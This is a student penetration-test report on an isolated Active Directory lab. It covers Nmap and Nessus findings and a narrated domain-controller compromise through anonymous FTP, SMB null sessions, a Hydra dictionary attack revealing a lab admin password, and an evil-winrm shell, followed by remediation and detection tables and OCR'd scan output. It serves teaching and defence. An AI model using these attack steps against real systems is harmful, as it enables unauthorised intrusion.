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[bookmark: _Toc227420294]Abstract
This report outlines a network security assessment of the SOAC Inc. virtual enterprise infrastructure, performed for the ACCB6000 Advanced Cybersecurity unit offered by the University of Wales Trinity Saint David. The assessment uses the National Institute of Standards and Technology (NIST) Cyber Security Framework (CSF) [1] approach in four phases: network validation, vulnerability testing, ethical hacking, and security configuration. The subject network comprises five virtual machines configured as a Windows Active Directory (AD) domain (swansea.acca) that spans two virtual locations. Eight vulnerabilities have been discovered using Nmap [20] and Nessus [21], amongst which was a Critical level anonymous FTP misconfiguration on the domain controller. Domain takeover has been accomplished through evil-winrm, providing full Enterprise Administrator shell access to S-DC1. All operations are performed under authorised consent according to the UK Computer Misuse Act 1990 [24].
[bookmark: _Toc227413187][bookmark: _Toc227420295]1. Introduction
[bookmark: _Toc227420296]1.1 Background and Context
Security testing should be proactive in today's environment. The IBM Cost of a Data Breach Report 2023 reported a worldwide mean cost per data breach of $4.45 million [3], where network misconfiguration and failure to patch were some of the common reasons. This test simulates a typical penetration test for a company's Active Directory system using PTES [2] and NIST SP 800-115 [19] methodologies. Domain controllers are considered the most valuable assets within an Active Directory system, as a successful attack on them provides full administrative access to all resources within the domain [7].
[bookmark: _Toc227420297]1.2 Scope and Objectives
The assessment focuses on five virtual machines hosted in Oracle VirtualBox [10], operating without any external network connectivity. It covers three distinct network segments:

	Network
	Subnet
	Hosts

	IntSwa (Swansea)
	192.168.1.0/24
	S-DC1 (192.168.1.1), ClientS1 (192.168.1.10), Kali (192.168.1.50)

	External (WAN link)
	20.0.0.0/24
	S-DC1 (20.0.0.1), L-CD (20.0.0.2), Kali (20.0.0.3)

	IntLondon (London)
	192.168.2.0/24
	L-CD (192.168.2.1), Linux Debian (192.168.2.10)


Table 1 - Network Segments and Host Assignments

Objectives: (1) verify full network connectivity; (2) enumerate services and vulnerabilities; (3) demonstrate exploitation to Domain Administrator; (4) implement mitigations consistent with NCSC Cyber Essentials [35] requirements.
[bookmark: _Toc227420298]1.3 Legal and Ethical Framework
All exercises were carried out strictly inside the quarantined Virtual Box lab environment under proper authorization. UK Computer Misuse Act 1990 [24] was strictly adhered to. All actions conform to the EC-Council Code of Ethics [5]; there has been no breach of any production systems, and all observations have been captured in this report.

[bookmark: _Toc227420299]2. Network Environment 
[bookmark: _Toc227420300]2.1 Asset Inventory
	Asset
	IP Address(es)
	Operating System
	Role

	S-DC1
	192.168.1.1 / 20.0.0.1
	Windows Server 2022 Datacenter (Build 20348)
	Domain Controller, DNS, IIS 10.0, FTP

	ClientS1
	192.168.1.10
	Windows 10 v1709–21H2 (EOL Oct 2019)
	Domain Workstation

	L-CD
	20.0.0.2 / 192.168.2.1
	Debian Linux (OpenSSH 10.0p2)
	Router / Gateway

	Linux Debian
	192.168.2.10
	Debian Linux (iptables active)
	Application Server

	Kali Linux 2025.4
	192.168.1.50 / 20.0.0.3
	Kali Linux 2025.4
	Assessment Platform


[bookmark: _Toc227420557]Table 2 - Network Asset Inventory, SOAC Inc. Virtual Environment
[bookmark: _Toc227420301]2.2 Network Topology 
Static IPs are configured on all hosts for VirtualBox Internal Network adapter configurations. L-CD performs routing from IntSwa to IntLondon using static routes. The network swansea.acca (NetBIOS:SWANSEA) is controlled by S-DC1 [7]. Routes between different networks have been set permanently on /etc/network/interfaces [10].



[bookmark: _Toc227420302]3. Task 1: Network Verification
[bookmark: _Toc227413195][bookmark: _Toc227420303]3.1 Interface Configuration Verification
Before testing connectivity, static IP assignment was verified on each host using ip a (Linux) and ipconfig /all (Windows), confirming each interface matched the designed topology:
[image: ]
[bookmark: _Toc227420338]Figure 1 - L-CD (LondonR2), ip a showing all network interfaces with correct static IP assignments across all adapters
[image: ]
[bookmark: _Toc227420339]Figure 2 - S-DC1 ipconfig /all, Internet, and IntSwa adapters (Part 1 of 2)
[image: ]
[bookmark: _Toc227420340]Figure 3 - S-DC1 ipconfig /all, IntSwa (192.168.1.1) and External (20.0.0.1) adapters confirmed (Part 2 of 2)

[bookmark: _Toc227420304]3.2 Connectivity Verification
ICMP Ping tests were performed among all host pairs to check for end-to-end connectivity despite segment limitations. Windows Defender Firewall needed rules for ICMP with profile=any to allow pings from cross-OS systems. Routes to return back were established using up ip route add commands in /etc/network/interfaces:

	Source
	Destination
	IP
	Protocol
	Result

	Kali
	S-DC1
	192.168.1.1
	ICMPv4
	Success — TTL=128, avg 2.06ms

	Kali
	ClientS1
	192.168.1.10
	ICMPv4
	Success — TTL=128, avg 0.58ms

	Kali
	L-CD (External)
	20.0.0.2
	ICMPv4
	Success — TTL=64, avg 0.31ms

	Kali
	Linux Debian
	192.168.2.10
	ICMPv4
	Success via L-CD — TTL=63

	S-DC1
	Linux Debian
	192.168.2.10
	ICMPv4
	Success via L-CD gateway

	L-CD
	S-DC1
	20.0.0.1
	ICMPv4
	Success


[bookmark: _Toc227420558]Table 3 - Network Connectivity Verification Results
[image: ]
[bookmark: _Toc227420341]Figure 4 - L-CD ping tests, confirming cross-network connectivity to S-DC1 (192.168.1.1), ClientS1 (192.168.1.10), and Linux Debian (192.168.2.10)
[image: ]
[bookmark: _Toc227420342]Figure 5 - S-DC1 ping tests, cross-network connectivity to IntLondon hosts confirmed via L-CD router gateway
[bookmark: _Toc227420305]3.3 Host Discovery Confirmation
As a final confirmation that all hosts are reachable from the Kali assessment platform, an Nmap ping sweep [20] was executed across all three subnets simultaneously:
[image: ]
[bookmark: _Toc227420343]Figure 6 - Nmap -sn ping sweep — 9 hosts active across all three network segments confirmed in 8.30 seconds

Result: 9 hosts active from 768 addresses scanned, confirming the Kali platform has full visibility across the entire network. This baseline was essential before proceeding to service enumeration in Task 2.2.
[bookmark: _Toc227420306]3.4 Task 1 summary and reflection
Network reachability in Task 1 was successfully established on all three segments. The use of nmap -sn as a host scanner tool was effective as it helped identify all nine hosts without port scanning. One major obstacle that was faced during penetration was the lack of DHCP on the VirtualBox internal networks and the need for configuring static IPs on each host manually. This highlighted the importance of proper environment preparation before conducting any penetration activity and is described in the document NIST SP 800-115 [19]. From ipconfig /all and ip a command, it could be seen that S-DC1 had three different interfaces connected to it.
[bookmark: _Toc227420307]4. Task 2.1: Assessment Platform Setup
Kali Linux 2025.4 was selected as the assessment platform due to its pre-installed toolset of over 600 security utilities [13].
The Nessus Essentials Plus 19.16.3 (build 20047) scanner was installed locally at https://localhost:8834. This software offers CVE scanning capabilities that employ more than 59,000 plugins [21]. The scanner accessed all three networks.


[bookmark: _Toc227420308]4.1 Platform Selection Justification
Kali Linux was selected ahead of other distros, such as Parrot OS [14] and BlackArch [15], because of its wide-spread usage in professional penetration tests and good documentation [13]. The decision to choose Nessus Essentials [21] instead of OpenVAS [22] was made on account of a higher number of plugins available (59,000+ compared to 55,000), as well as an integration with CVSS v3.0 that enables better remediation advice [21]. It was crucial to use the Nessus scan locally as opposed to via a cloud service since there was no internet access to the test network topology.
[bookmark: _Toc227420309]5. Task 2.2: Vulnerability Assessment 
[bookmark: _Toc227420310]5.1 Methodology 
The assessment was done using the two-stage method proposed in the NIST SP 800-115 [19] standard: (1) manual recon using Nmap for port discovery; (2) automated scan using Nessus 19.16.3 Basic Network Scan. CVSS v3.1 [23] was used to determine severity ratings.
[bookmark: _Toc227420311]5.2 Nmap Service Enumeration
Full-port TCP scans with version detection (-sV), default NSE scripts (-sC), and OS fingerprinting (-O) were run against all four non-Kali hosts:
[image: ]
[bookmark: _Toc227420344]Figure 7 - Nmap scan S-DC1 (192.168.1.1), Part 1: FTP anonymous login allowed, legacy TCP services on ports 7, 9, 13, 17, 19
[image: ]
[bookmark: _Toc227420345]Figure 8 - Nmap scan S-DC1, Part 2: SMB signing required on DC, LDAP domain swansea.acca, SSL/TLS certificate details

[image: ]
[bookmark: _Toc227420346]Figure 9 - Nmap scan ClientS1 (192.168.1.10), Windows 10 v1709, SMB message signing NOT required (enables NTLM relay)


[image: ]
[bookmark: _Toc227420347]Figure 10 - Nmap scan L-DC Network (192.168.2.0/24) — most ports filtered by iptables; strong firewall posture
	Host
	Port(s)
	Service
	Finding
	Risk

	S-DC1 (192.168.1.1)
	21/tcp
	FTP
	Microsoft ftpd — ANONYMOUS LOGIN ALLOWED, 4 files exposed
	CRITICAL

	S-DC1 (192.168.1.1)
	7,9,13,17,19
	Legacy TCP
	Echo, Discard, Daytime, QOTD, Chargen active
	HIGH

	S-DC1 (192.168.1.1)
	80/tcp
	HTTP
	IIS 10.0 — HTTP TRACE method enabled
	MEDIUM

	S-DC1 (192.168.1.1)
	88,389,445
	Kerberos/LDAP/SMB
	Domain: swansea.acca, signing required on DC
	LOW

	ClientS1 (192.168.1.10)
	445/tcp
	SMB
	Windows 10 v1709 — SMB signing NOT required
	HIGH

	ClientS1 (192.168.1.10)
	OS
	Windows
	Windows 10 v1709 End-of-Life since October 2019
	HIGH

	L-CD (192.168.2.1)
	22/tcp
	SSH
	OpenSSH 10.0p2 — minimal attack surface
	LOW

	Linux Debian (192.168.2.10)
	ALL
	Firewall
	All 65,535 ports filtered by iptables
	NONE


[bookmark: _Toc227420559]Table 4 - Nmap Service Enumeration Results 
[image: ]
[bookmark: _Toc227420348]Figure 11 - Anonymous FTP exploitation, connecting to S-DC1 without credentials and downloading files

[bookmark: _Toc227413204][bookmark: _Toc227420312]5.3 Automated Assessment — Nessus 19.16.3
Nessus Basic Network Scan was run against all four non-Kali hosts. The scan identified 49 findings across four targets [21]:
[image: ]
[bookmark: _Toc227420349]Figure 12 - Nessus Essentials Plus, scan overview showing all four hosts with severity distribution: Critical, High, Medium, Low
[image: ]
[bookmark: _Toc227420350]Figure 13 - Nessus report, S-DC1 (192.168.1.1): 1 High (SWEET32 CVSS 7.5), 7 Medium findings including TLS 1.0/1.1, DNS AXFR, IP Forwarding
[image: ]
[bookmark: _Toc227420351]Figure 14 - Nessus report, ClientS1 (192.168.1.10): SMB Signing Not Required (CVSS 5.3 Medium), Windows 10 EOL informational

[image: ]
[bookmark: _Toc227420352]Figure 15 - Nessus report, L-CD (192.168.2.1): informational findings only, no exploitable vulnerabilities identified
[image: ]
[bookmark: _Toc227420353]Figure 16 - Nessus report, Linux Debian (192.168.2.10): 2 informational items only; iptables firewall blocks all scanning
	Host
	High
	Medium
	Low
	Info
	Top Finding

	S-DC1 (192.168.1.1)
	1
	7
	2
	51
	SWEET32 Birthday Attack — CVSS 7.5

	ClientS1 (192.168.1.10)
	0
	1
	1
	18
	SMB Signing Not Required — CVSS 5.3

	L-CD (192.168.2.1)
	0
	0
	0
	19
	OpenSSH info only — no vulnerabilities

	Linux Debian (192.168.2.10)
	0
	0
	0
	2
	Traceroute only — firewall blocks scanning


[bookmark: _Toc227420560]Table 5 - Nessus Scan Summary - Findings per Host
[bookmark: _Toc227413205][bookmark: _Toc227420313]5.4 Consolidated Vulnerability Summary
Combining Nmap and Nessus results, eight vulnerabilities were selected for exploitation and remediation, mapped to CVSS v3.1 [23] and MITRE ATT&CK [9]:

	#
	Vulnerability
	Src
	CVSS
	Sev
	Host
	ATT&CK

	1
	Anonymous FTP — 4 files exfiltrated without credentials
	Nmap
	9.1
	CRIT
	S-DC1
	T1078/T1565

	2
	Windows 10 v1709 EOL — 100+ unpatched CVEs
	Nmap
	8.1
	HIGH
	ClientS1
	T1190

	3
	SWEET32 — SSL medium ciphers (3DES/RC4)
	Nessus
	7.5
	HIGH
	S-DC1
	T1040

	4
	TLS 1.0/1.1 Deprecated — downgrade attacks possible
	Nessus
	6.5
	MED
	S-DC1
	T1040

	5
	Legacy TCP Services (Chargen/Echo) — DDoS risk
	Nmap
	6.5
	MED
	S-DC1
	T1499

	6
	IP Forwarding Enabled — MitM pivot risk
	Nessus
	6.5
	MED
	S-DC1
	T1557

	7
	SMB Signing Not Required — NTLM relay possible
	Both
	5.3
	MED
	ClientS1
	T1557.001

	8
	DNS Zone Transfer (AXFR) — full DNS exposed
	Nessus
	5.0
	MED
	S-DC1
	T1590.002



[bookmark: _Toc227413206][bookmark: _Toc227420314]5.5 Assessment Summary and Methodology Reflection
The two-part vulnerability scan highlighted the synergistic relationship between manual and automated scanning. For instance, the critical anonymous FTP configuration issue and legacy TCP ports were only detected by Nmap but categorized as informational issues by Nessus, proving the statement from the NIST SP 800-115 guidelines that no automation can replace manual reconnaissance [19]. On the other hand, Nessus was able to identify the SWEET32 (CVE-2016-2183) vulnerability and DNS AXFR misconfiguration issue using a plugin-based approach that went beyond the scope of the Nmap scan. In the case of the Linux Debian machine running with its iptables-based firewall dropping packets sent to it while responding to ICMP requests, this demonstrated the difference between filtered and closed ports [20]. This was a perfect example of defense in depth as per NIST CSF PR.AC-5 [29]. One limitation of Nessus unauthenticated scanning was that it could not detect internal file system permissions or patches and registry configurations.
[bookmark: _Toc227420315]6. Task 3: Ethical Hacking
[bookmark: _Toc227413208][bookmark: _Toc227420316]6.1 Exploitation Methodology
Exploitation came after PTES stages [2] reconnaissance, exploitation, and post-exploitation. There were four consecutive attack stages performed on S-DC1, leading to total compromise of the domain without employing any zero-day vulnerabilities, misconfiguration and poor password policy were exploited instead.
[bookmark: _Toc227413209][bookmark: _Toc227420317]6.2 Phase 1: Anonymous FTP - File Exfiltration (T1078, T1565)
The machine S-DC1 has an anonymous FTP service open, as shown in CWE-284. There are three sensitive files that have been downloaded anonymously from the domain controller filesystem, which are DumpStack.log (Windows memory diagnostic log) and new_important_file.txt.
[bookmark: _Toc227413210][bookmark: _Toc227420318]6.3 Phase 2: SMB Enumeration and NULL Session (T1135)
The SMB shares enumeration was done using smbclient, without any credentials. Seven SMB shares were identified, namely, ADMIN$, C$, IPC$, NETLOGON, SYSVOL, vShare, and StorageReports. The vShare folder was anonymously accessible, validating the MITRE T1135 technique [9].
[image: ]
[bookmark: _Toc227420354]Figure 17 - smbclient NULL session, all SMB shares enumerated on S-DC1 without credentials
[image: ]
[bookmark: _Toc227420355]Figure 18 - smbclient vShare anonymous access, file listing and download confirmed; C$ share listing visible

Hydra v9.0 [25] conducted a dictionary attack on the SMB authentication protocol. The Domain Administrator credentials were obtained successfully: administrator: NotebooK@123. Credential reuse was established for all domain hosts (MITRE T1078) [9].
[image: ]
[bookmark: _Toc227420356]Figure 19  - Hydra brute force in progress, credential attempts against administrator account; NotebooK@123 found
[bookmark: _Toc227413212][bookmark: _Toc227420319]6.5 Phase 4: Domain Controller Shell — Full Compromise (T1021.006)
With credentials confirmed, smbclient established full C:\ drive access, followed by evil-winrm [36] providing an interactive PowerShell session over WinRM (port 5985).
[image: ]
[bookmark: _Toc227420357]Figure 20 - smbclient C:\ directory listing — complete filesystem access to S-DC1: FTPRoot, Shares, Users, Windows, StorageReports visible
[image: ]
[bookmark: _Toc227420358]Figure 21 - evil-winrm interactive shell, whoami: swansea\administrator; whoami /priv: 20+ privileges ALL enabled including SeDebugPrivilege, SeBackupPrivilege, SeImpersonatePrivilege; net user: 6 domain accounts; net localgroup administrators: Enterprise Admins
[image: ]
[bookmark: _Toc227420359]Figure 22 - Post-exploitation, net user administrator: Enterprise Admins, Domain Admins, Schema Admins; dir C:\: full filesystem access; net accounts: password max age Unlimited, min length 1, lockout Never
[bookmark: _Toc227413213][bookmark: _Toc227420320]6.6 Domain Compromise - Impact Summary
Full Domain Administrator access was achieved in four steps using only built-in misconfigurations. The attack required no CVE exploits:

	Step
	Technique
	Tool
	Result
	MITRE

	1
	Anonymous FTP
	ftp
	3 sensitive files exfiltrated from Domain Controller
	T1078/T1565

	2
	SMB NULL Session
	smbclient
	7 shares enumerated without authentication
	T1135

	3
	Dictionary Attack
	Hydra
	administrator:NotebooK@123 cracked
	T1110.001

	4
	C$ SMB Access
	smbclient
	Full C:\ drive read access confirmed
	T1039

	5
	WinRM Shell
	evil-winrm
	Interactive PowerShell as Domain Admin
	T1021.006

	6
	Post-Exploitation
	PowerShell
	Enterprise Admin + Schema Admin + 20+ privs confirmed
	T1078.002


[bookmark: _Toc227420561][bookmark: _Toc227413214]Table 6 - Attack Chain Summary, S-DC1 Domain Compromise
[bookmark: _Toc227420321]6.7 Exploitation Reflection
What is worth highlighting the most in relation to Task 3 is that the vulnerabilities, on their own, posed individually insignificant risks to the network and its assets. Anonymous FTP revealed the network file system; NULL sessions revealed the network shares; the brute-force attacks using Hydra were possible only because the target had no password policy; and WinRM was exploitable only because there was no port 5985 blocking on the level of the network firewall. This sequence perfectly fits the Lockheed Martin Cyber Kill Chain [28].
As mentioned previously, the use of impacket-psexec and impacket-smbexec faced the obstacle of Windows Defender, meaning that the use of evil-winrm had to be considered. This demonstrates one of the key competencies of successful penetration testers - the skill to pivot between different means of exploiting a vulnerability while keeping the goal the same. Moreover, the presence of Windows Defender was sufficient for hindering some of the attacks. This control can be considered positive, despite the absence of other security measures that would protect from more advanced attacks. According to Verizon DBIR 2023 [18], up to 74% of breaches involve humans and include password reuse.
[bookmark: _Toc227413215][bookmark: _Toc227420322]7. Task 4: Security Hardening
[bookmark: _Toc227413216][bookmark: _Toc227420323]7.1 Remediation Framework
All remediations align with NIST CSF Protect (PR) functions [1], NIST SP 800-52 [33] (TLS), NIST SP 800-63B [32] (password policy), and NCSC Cyber Essentials [35] requirements.

	#
	Vulnerability
	CVSS
	Remediation Action
	CSF Control

	1
	Anonymous FTP (CRITICAL)
	9.1
	Disable FTP or require authentication; migrate to SFTP; restrict FTPRoot permissions
	PR.AC-1

	2
	Windows 10 v1709 EOL (HIGH)
	8.1
	Upgrade ClientS1 to Windows 10 22H2 or Windows 11; enable automatic updates
	PR.IP-12

	3
	SWEET32 / 3DES (HIGH)
	7.5
	Disable 3DES and RC4 in IIS TLS config; enforce TLS 1.2/1.3 only per NIST SP 800-52 Rev.2
	PR.DS-2

	4
	TLS 1.0/1.1 (MEDIUM)
	6.5
	Disable via Windows Registry SCHANNEL key; enforce TLS 1.2+ minimum
	PR.DS-2

	5
	Legacy TCP Services (MEDIUM)
	6.5
	Disable Chargen/Echo/Daytime in Windows Features; block ports 7,9,13,17,19 at firewall
	PR.AC-5

	6
	IP Forwarding (MEDIUM)
	6.5
	Set-NetIPInterface -Forwarding Disabled; review routing policy
	PR.AC-5

	7
	SMB Signing Not Required (MEDIUM)
	5.3
	Enable SMB signing via GPO: RequireSecuritySignature=1 on all clients
	PR.AC-3

	8
	DNS Zone Transfer AXFR (MEDIUM)
	5.0
	Restrict AXFR to authorised secondary DNS servers only in DNS Manager
	PR.AC-1


[bookmark: _Toc227420562]Table 7 - Prioritised Remediation Plan, All 8 Vulnerabilities with NIST CSF Alignment
[bookmark: _Toc227420324]7.3 Password Policy – Critical Immediate Action
Password policies post-exploitation were found to be catastrophically insecure, allowing unlimited password age, minimum length of 1, and no lockout (see Figure 25). This made the attack possible. It is an immediate priority according to NIST SP 800-63B [32] to configure GPOs to require at least 12 characters in all passwords, 90-day lifetime, 10 attempts, and MFA on privileged accounts.
[bookmark: _Toc227420325]7.4 Detection and Monitoring Recommendations
Hardening is not only about applying patches but also ensuring that proper detection controls are put in place. Controls for NIST CSF DE (Detect) [1] recommend logging of SIEM data on all the attack methods described in Task 3. The following event IDs are recommended to be logged by CIS Control 8 [30]:

	Attack Technique
	Detection Method
	Windows Event ID

	Hydra brute force (T1110.001)
	Monitor failed SMB authentication bursts >5 per minute
	4625 — Failed logon

	Anonymous FTP access (T1078)
	Log all FTP connections; alert on anonymous auth
	IIS FTP log / 4624

	WinRM shell (T1021.006)
	Alert on WinRM sessions from non-admin workstations
	4624 — WinRM logon type 3

	C$ administrative share access
	Alert on access to ADMIN$/C$ from non-management IPs
	5140 — Share access

	Privilege use post-login
	Monitor SeDebugPrivilege and SeImpersonatePrivilege use
	4672 — Special logon


[bookmark: _Toc227420563]Table 8 - Detection Controls for Demonstrated Attack Techniques

[bookmark: _Toc227420326]8. Conclusion and Self-Reflection
[bookmark: _Toc227420327]8.1 Conclusion
This assessment clearly demonstrated the critical vulnerability of the SOAC Inc. network to attack. Eight vulnerabilities were discovered in four machines, out of which four were actively exploited to gain full control of the domain. No zero-day exploit was needed in this case, as anonymous FTP, NULL SMB authentication, a poor password choice, and WinRM access were enough to get the Enterprise Administrator shell access on S-DC1. The root cause behind all of this was a lack of enforced password policies, out-of-support machines, and incorrect configuration of some of the services allowing unauthenticated access. Application of the recommended countermeasures outlined in Section 7 will fix all these flaws and ensure that SOAC Inc. complies with the NCSC Cyber Essentials [35] and NIST CSF [1] criteria.
[bookmark: _Toc227420328]8.2 Self-Reflection and Professional Development
This assessment gave me a significant amount of practical experience in performing enterprise network penetration testing and strengthened my professional competencies in several areas that transcend mere technical knowledge.
Technical knowledge acquired: Through the example of the Linux Debian box, I learned about the difference between Nmap filtered and closed port states in practice, as all ports seemed filtered, although they were accessible through ICMP. This made me appreciate the significance of the TCP state machine and the usefulness of iptables as an intrusion prevention system (IPS) [20]. In addition, I realized that Nessus cannot replace Nmap because the latter is capable of identifying services, which Nessus may miss, but the former can find CVEs and map them to the services' vulnerabilities, which the latter lacks due to its NSE script capabilities [21].
Methodology and adaptability: When attempting to get a remote shell using impacket-psexec and impacket-smbexec, I encountered the blocking effect of Windows Defender. To overcome this problem, I resorted to the lateral movement approach and switched to evil-winrm [36], which uses another protocol (WinRM/HTTP) compared to SMB and successfully established a connection. This experience taught me how important it is for penetration testers to have flexibility in their attack strategy according to PTES guidance [2] and be familiar with numerous potential attack vectors.
Ethical and legal awareness: The fact that I could conduct my practice in the VirtualBox environment created by the instructor safely and legally, while doing the same thing against a live network would have violated the Computer Misuse Act 1990 [24], highlighted the significance of getting proper authorization and defining the scope of work beforehand. I also felt the responsibility for minimizing any disruptions to the target, e.g., Hydra was immediately killed after causing an account lockout, and I did not perform any destructive actions during the post-exploitation phase.
Future development areas: For future assessments, I could benefit from: (1) performing an authenticated Nessus scan for discovering software version, installed patches, and registry settings; (2) collecting Wireshark packet captures to illustrate the network layer details of all the attack phases; (3) studying additional methods of gaining persistence, such as creating scheduled tasks (MITRE T1053) or registry keys (T1547); and (4) learning about AD-specific attacks, like Kerberoasting and Pass-the-Hash [8].
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londonlogin@L-CD:™% ping -c 3 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 hytes from 192.168.1.1: icmp_seq=1 ttl1=127 time=2.51 ms
64 hytes from 192.168.1.1: icmp_seq=2 ttl=127 time=2.73 ms
64 hytes from 192.168.1.1: icmp_seq=3 tt1=127 time=3.55 ms

--- 192.168.1.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2006ms
rtt min/avg/max/mdev = 2.510/2.928/3.551/0.448 ms
londonlogin@L-CD:™% ping -c 3 192.168.1.10

PING 192.168.1.16 (192.168.1.10) S6(84) hutes of data.

64 hytes from 192.168.1.10: icmp_seq=1 tt1=127 time=5.36 ms

64 hytes from 192.168.1.10: icmp_seq=2 tt1=127 time=3.99 ms

64 hytes from 192.168.1.10: icmp_seq=3 tt1=127 time=3.05 ms

--- 192.168.1.19 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 20@4ms
rtt min/avg/max/mdev = 3.045/4.128/5.355/0.348 ms
londonlogin@L-CD:™% ping -c 3 192.168.2.10

PING 192.168.2.10 (192.168.2.10) S6(84) hutes of data.

64 hytes from 192.168.2.10: icmp_seq=1 ttl=64 time=1.86 ms

64 hytes from 192.168.2.10: icmp_seq=2 ttl=64 time=1.20 ms

64 hytes from 192.168.2.10: icmp_seq=3 ttl=64 time=1.83 ms

--- 192.168.2.19 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.196/1.627/1.859/0.305 ms
londonlogin@L-CD: ™%
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C:\Users\Administrator>ping -n 3 192.168.2.1

Pinging 192.168.2.1 with 32 bytes of data:

Reply from 192.168.2.1: bytes=32 time=1ms TTL=64
Reply from 192.168.2.1: bytes=32 time=1ms TTL=64
Reply from 192.168.2.1: bytes=32 time=1ms TTL=64

Ping statistics for 192.168.2.1:

Packets: Sent = 3, Received = 3, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 1ms, Maximum = 1ms, Average = 1ims

C:\Users\Administrator>ping -n 3 192.168.2.10

Pinging 192.168.2.10 with 32 bytes of data:

Reply from 192.168.2.10: bytes=32 time=3ms TTL=63
Reply from 192.168.2.10: bytes=32 time=2ms TTL=63
Reply from 192.168.2.10: bytes=32 time=3ms TTL=63

Ping statistics for 192.168.2.10:

Packets: Sent = 3, Received = 3, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 2ms, Maximum = 3ms, Average = 2ms

C:\Users\Administrator>ping -n 3 192.168.1.10

Pinging 192.168.1.10 with 32 bytes of data:

Reply from 192.168.1.10: bytes=32 time=1ms TTL=128
Reply from 192.168.1.10: bytes=32 time=1ms TTL=128
Reply from 192.168.1.10: bytes=32 time=1ms TTL=128

Ping statistics for 192.168.1.10:

Packets: Sent = 3, Received = 3, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 1ms, Maximum = 1ms, Average = 1ims

K \Users\Administrator>
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nmap -sn 192.168.1.8/24 20.

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 09:

Nmap scan report for 192.168.1.
Host is up (0.0011s latency).
MAC Address: 08:00:27:56:96:74
Nmap scan report for 192.168.1.
Host is up (0.0020s latency).
MAC Address: 08:00:27:C5:39:C7
Nmap scan report for 192.168.1.
Host is up.

Nmap scan report for 20.0.0.1
Host is up (0.0011s latency).
MAC Address: 08:00:27:84:6E:62
Nmap scan report for 20.0.0.2
Host is up (0.00095s latency).
MAC Address: 08:00:27:5E:C3:C7
Nmap scan report for 20.0.0.3
Host is up.

Nmap scan report for 192.168.2.
Host is up (0.0026s latency).
Nmap scan report for 192.168.2.
Host is up (0.0043s latency).
Nmap done: 768 IP addresses (8
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0.0.0/24 192.168.2.0/24
1

(PCcs Systemtechnik/Oracle
10

(PCs Systemtechnik/Oracle
50

(PCcs Systemtechnik/Oracle

(PCs Systemtechnik/Oracle

1
10

hosts up) scanned in 8.30

‘ 14°C
Light rain

@1 EDT

VirtualBox

VirtualBox

VirtualBox

VirtualBox

seconds

virtual NIC)

virtual NIC)

virtual NIC)

virtual NIC)

T TR P

o

Q Search

BO ¥ F ¢ MO S @ Hright cul
an Bmo@es0aomED e e ra®




image8.png
T kali-linux-2025.4-virtualbox-amd64 [Running] - Oracle VirtualBox

File Machine

Bumpo

View Input Devices Help

B(gl 2 2 e

Session Actions Edit View Help

(kali® kali)-[~]
nmap -s5 -sV -sC -0 -p- —open -T4 192.168.1.1

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 09:09 EDT

Nmap scan report for 192.168.1.1

Host is up (0.0014s latency).

Mot shown: 65453 closed tcp ports (reset), 41 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to —-defeat-rst-ratelimit

PORT STATE SERVICE VERSION

7/tcp open echo

9/tcp open discard?

13/tcp open daytime Microsoft Windows USA daytime
17/tcp open gotd windows qotd (English)

19/tcp open chargen

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| @9-25-25 @2:52PM 67 accb6000.txt

| @9-25-25 @3:08PM 10 important_file.txt
| 89-25-25 ©3:11PM 10 new_important_file.txt
| _@89-25-25 12:39PM 32 test.txt

| ftp-syst:

|_ SYST: Windows_NT

53/tcp open domain Simple DNS Plus

808/tcp open http Microsoft IIS httpd 10.0

| _http-server-header: Microsoft-115/10.0
| _http-title: Site doesn't have a title (text/html).

| http-methods:

|_ Potentially risky methods: TRACE
kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-13 21:09:597)

88/tcp

135/tcp
139/tcp
389/tcp
443/tcp

open
open
open
open
open

2026-04-13

Nl @ ¢ 2 o | @ C
(]

msrpc Microsoft Windows RPC

netbios-ssn Microsoft Windows netbios-ssn

ldap Microsoft Windows Active Directory LDAP (Domain: swansea.acca®., Site: Default-First-Site-Name)
ss1/http Microsoft IIS httpd 18.0

| _http-server-header: Microsoft-115/10.0

| http-ntlm-info:

| Target_Name: SWANSEA
NetBIOS_Domain_Name: SWANSEA
NetBIOS_Computer_Name: S5-DC
DNS_Domain_Name: swansea.acca
DNS_Computer_Name: 5-DC.swansea.acca
DNS_Tree_Name: swansea.acca

http-autl

h:

HTTP/1.1 401 Unauthorized\x@D
Digest charset=utf-8 gop=auth nonce=+Upgraded+v1fa29e7b6cabe9@ce105fbcde9a@3def6a9b9as0e8acbdc@lac3Sbece677bbefef1d28784b2a68c18ea88cd277dc2add7995140ccc5395ebe realm=Digest algorithm=MD5-sess

Negoti.
NTLM

ate

|
|
|
|
|
|_ Product_Version: 10.0.20348
|

|

|

|
I

| _http-title: Site doesn't have a title.

| ssl-cert: Subject: commonName=S-DC

| Not valid before: 2025-89-23T15:56:55

| _Not valid after: 2026-83-25T15:56:55

| _ssl-date: TLS randomness does not represent time
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593/tcp  open ncacn_http Microsoft Windows RPC over HTTP 1.8

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: swansea.accal., Site: Default-First-Site-Name)

3269/tcp open tcpwrapped ‘

3388/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Service Unavailable

5504/tcp open msrpc Microsoft Windows RPC

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0

9389/tcp open mc-nmf .NET Message Framing

47001/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
| _http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0

49216/tcp open msrpc Microsoft Windows RPC

49664/tcp open msrpc Microsoft Windows RPC

